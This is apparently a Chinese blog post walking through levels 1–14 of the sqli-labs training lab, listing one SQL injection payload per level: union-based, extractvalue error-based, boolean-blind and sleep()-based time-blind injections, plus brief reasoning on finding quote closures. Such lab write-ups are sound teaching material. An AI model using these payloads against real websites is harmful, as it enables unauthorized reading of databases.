sqli-labs(1-14关)

第一关:

?id=1'  and 1=2 union select 1,database(),3--+

第二关:

?id=1 and 1=2 union select 1,database(),3

第三关:

?id=1') and 1=2 union select 1,database(),3--+

第四关:

?id=1") and 1=2 union select 1,database(),3--+

第五关:

?id=1' and extractvalue(1,concat(0x5e,(select database()),0x5e))--+

第六关:

?id=1" and extractvalue(1,concat(0x5e,(select database()),0x5e))--+

第七关:

采用的注入方法是布尔盲注:(忽略界面提示,按自己方法搞,反正我目的是结果注入成功就行)
?id=1 正常,测试加入单引号'后出现输入错误的提示,但没有数据回显和sql报错信息

思路:没有数据回显,排除联合查询;没有SQL报错信息,排除报错注入;页面有Boolean状态,尝试使用布尔盲注
?id=1'出现错误提示,说明输入内容干预了SQL语句,接下来尝试闭合(需要加--+注释)
?id=1)'  |  ?id=1')  |  ?id=1)')  |  ?id=1))'   #均无法闭合
?id=1'))  #成功闭合

测试是否可以使用布尔盲注:

?id=1')) and length(database())>1--+   #正常显示
?id=1')) and length(database())>100--+  #出现错误提示,证明确实存在布尔盲注

接下来没啥了...抓包利用burp爆破

?id=1')) and substr(database(),1,1)='s'--+

 第八关:

同第七关,区别是单引号闭合

第九关:

思路:

没有回显,单引号,双引号,and 1=1, and 1=2  各种尝试,页面内容纹丝不动

猜测可以使用延时注入,输入sleep(5)后,并没有沉睡

尝试闭合:?id=1' and sleep(5),延迟加载,开始进一步确认

?id=1' and if(length(database())>1,sleep(5),1)--+
?id=1' and if(length(database())>100,sleep(5),1)--+

第十关:

同第九关,区别是双引号

第十一关:

用户名栏输入admin'后报错:

'admin'' and password='' LIMIT 0,1

开始构造payload:

1' and extractvalue(1,concat(0x5e,(select database()),0x5e)) and 1='1--+

因为此关没有回显,但是有报错,所以采用报错注入

第十二关

与第十一关类似,难度就在构造SQL上

密码栏输入:

1") and extractvalue(1,concat(0x5e,(select database()),0x5e)) and ("--+

第十三关

同十二关,把双引换成单引即可

第十四关

同上

密码栏输入:

123" and extractvalue(1,concat(0x5e,(select database()),0x5e)) and "1--+

 

posted @ 2021-02-04 11:42  划水ing  阅读(226)  评论(0)    收藏  举报
https://unpkg.com/live2d-widget-model-koharu@1.0.5/assets/koharu.model.json